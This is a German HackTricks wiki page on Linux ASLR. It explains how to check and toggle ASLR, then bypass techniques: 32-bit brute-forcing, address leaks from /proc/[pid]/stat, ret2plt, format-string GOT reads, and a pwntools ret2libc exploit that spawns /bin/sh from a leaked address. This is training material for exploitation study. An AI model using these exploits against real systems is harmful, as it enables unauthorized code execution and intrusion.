ASLR
{{#include ../../../../banners/hacktricks-training.md}}
Grundinformationen
Address Space Layout Randomization (ASLR) ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die Speicheradressen zu randomisieren, die von System- und Anwendungsprozessen verwendet werden. Dadurch wird es für einen Angreifer erheblich schwieriger, den Standort bestimmter Prozesse und Daten, wie den Stack, Heap und Bibliotheken, vorherzusagen, was bestimmte Arten von Exploits, insbesondere Pufferüberläufe, abschwächt.
Überprüfung des ASLR-Status
Um den ASLR-Status auf einem Linux-System zu überprüfen, können Sie den Wert aus der Datei /proc/sys/kernel/randomize_va_space lesen. Der in dieser Datei gespeicherte Wert bestimmt die Art des angewendeten ASLR:
- 0: Keine Randomisierung. Alles ist statisch.
- 1: Konservative Randomisierung. Gemeinsame Bibliotheken, Stack, mmap(), VDSO-Seite sind randomisiert.
- 2: Vollständige Randomisierung. Zusätzlich zu den durch konservative Randomisierung randomisierten Elementen wird der durch
brk()verwaltete Speicher randomisiert.
Sie können den ASLR-Status mit dem folgenden Befehl überprüfen:
cat /proc/sys/kernel/randomize_va_space
Deaktivierung von ASLR
Um ASLR zu deaktivieren, setzen Sie den Wert von /proc/sys/kernel/randomize_va_space auf 0. Die Deaktivierung von ASLR wird außerhalb von Test- oder Debugging-Szenarien im Allgemeinen nicht empfohlen. So können Sie es deaktivieren:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Sie können ASLR auch für eine Ausführung mit folgendem Befehl deaktivieren:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Aktivieren von ASLR
Um ASLR zu aktivieren, können Sie den Wert 2 in die Datei /proc/sys/kernel/randomize_va_space schreiben. Dies erfordert typischerweise Root-Rechte. Die vollständige Randomisierung kann mit dem folgenden Befehl durchgeführt werden:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistenz über Neustarts hinweg
Änderungen, die mit den echo-Befehlen vorgenommen werden, sind vorübergehend und werden beim Neustart zurückgesetzt. Um die Änderung dauerhaft zu machen, müssen Sie die Datei /etc/sysctl.conf bearbeiten und die folgende Zeile hinzufügen oder ändern:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Nach der Bearbeitung von /etc/sysctl.conf wenden Sie die Änderungen mit an:
sudo sysctl -p
Dies stellt sicher, dass Ihre ASLR-Einstellungen über Neustarts hinweg bestehen bleiben.
Umgehungen
32-Bit-Brute-Forcing
PaX unterteilt den Adressraum des Prozesses in 3 Gruppen:
- Code und Daten (initialisiert und nicht initialisiert):
.text,.dataund.bss—> 16 Bits Entropie in derdelta_exec-Variablen. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen hinzugefügt. - Speicher, der von
mmap()zugewiesen wird, und gemeinsame Bibliotheken —> 16 Bits, genanntdelta_mmap. - Der Stack —> 24 Bits, bezeichnet als
delta_stack. Es verwendet jedoch effektiv 11 Bits (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf 16 Bytes —> Dies ergibt 524.288 mögliche reale Stack-Adressen.
Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige Entropie ermöglicht es, ASLR durch wiederholtes Ausführen zu umgehen, bis der Exploit erfolgreich abgeschlossen ist.
Brute-Force-Ideen:
- Wenn Sie einen großen Überlauf haben, um einen großen NOP-Sled vor dem Shellcode zu hosten, könnten Sie einfach die Adressen im Stack brute-forcen, bis der Fluss über einen Teil des NOP-Sled springt.
- Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Exploit lokal ausgeführt werden kann, ist es, den NOP-Sled und den Shellcode in einer Umgebungsvariablen hinzuzufügen.
- Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc brute-forcen (nützlich für 32-Bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der
libc-Funktionusleepzu brute-forcen, indem Sie als Argument 10 übergeben (zum Beispiel). Wenn der Server irgendwann 10 Sekunden länger für die Antwort benötigt, haben Sie die Adresse dieser Funktion gefunden.
Tip
In 64-Bit-Systemen ist die Entropie viel höher und dies ist nicht möglich.
Lokale Informationen (/proc/[pid]/stat)
Die Datei /proc/[pid]/stat eines Prozesses ist immer für jeden lesbar und enthält interessante Informationen wie:
- startcode & endcode: Adressen oberhalb und unterhalb des TEXT der Binärdatei
- startstack: Die Adresse des Starts des Stacks
- start_data & end_data: Adressen oberhalb und unterhalb, wo sich die BSS befindet
- kstkesp & kstkeip: Aktuelle ESP- und EIP-Adressen
- arg_start & arg_end: Adressen oberhalb und unterhalb, wo sich CLI-Argumente befinden.
- env_start & env_end: Adressen oberhalb und unterhalb, wo sich Umgebungsvariablen befinden.
Daher, wenn der Angreifer sich auf demselben Computer wie die auszunutzende Binärdatei befindet und diese Binärdatei nicht mit einem Überlauf von rohen Argumenten rechnet, sondern mit einem anderen Eingang, der nach dem Lesen dieser Datei erstellt werden kann. Ist es möglich, dass ein Angreifer einige Adressen aus dieser Datei erhält und von ihnen Offsets für den Exploit konstruiert.
Tip
Für weitere Informationen zu dieser Datei überprüfen Sie https://man7.org/linux/man-pages/man5/proc.5.html und suchen Sie nach
/proc/pid/stat
Einen Leak haben
- Die Herausforderung besteht darin, einen Leak zu geben
Wenn Ihnen ein Leak gegeben wird (einfache CTF-Herausforderungen), können Sie Offsets daraus berechnen (angenommen, Sie wissen zum Beispiel, welche genaue libc-Version im System verwendet wird, das Sie ausnutzen). Dieses Beispiel-Exploit stammt aus dem Beispiel hier (überprüfen Sie diese Seite für weitere Details):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Durch den Missbrauch eines Bufferüberlaufs wäre es möglich, ein ret2plt auszunutzen, um die Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:
{{#ref}} ret2plt.md {{#endref}}
- Format Strings Arbitrary Read
Genau wie bei ret2plt, wenn Sie über eine Format-Strings-Sicherheitsanfälligkeit einen beliebigen Lesezugriff haben, ist es möglich, die Adresse einer libc-Funktion aus der GOT zu exfiltrieren. Das folgende Beispiel stammt von hier:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Sie finden weitere Informationen über Format Strings willkürliches Lesen in:
{{#ref}} ../../format-strings/ {{#endref}}
Ret2ret & Ret2pop
Versuchen Sie, ASLR zu umgehen, indem Sie Adressen im Stack ausnutzen:
{{#ref}} ../../stack-overflow/ret2ret.md {{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}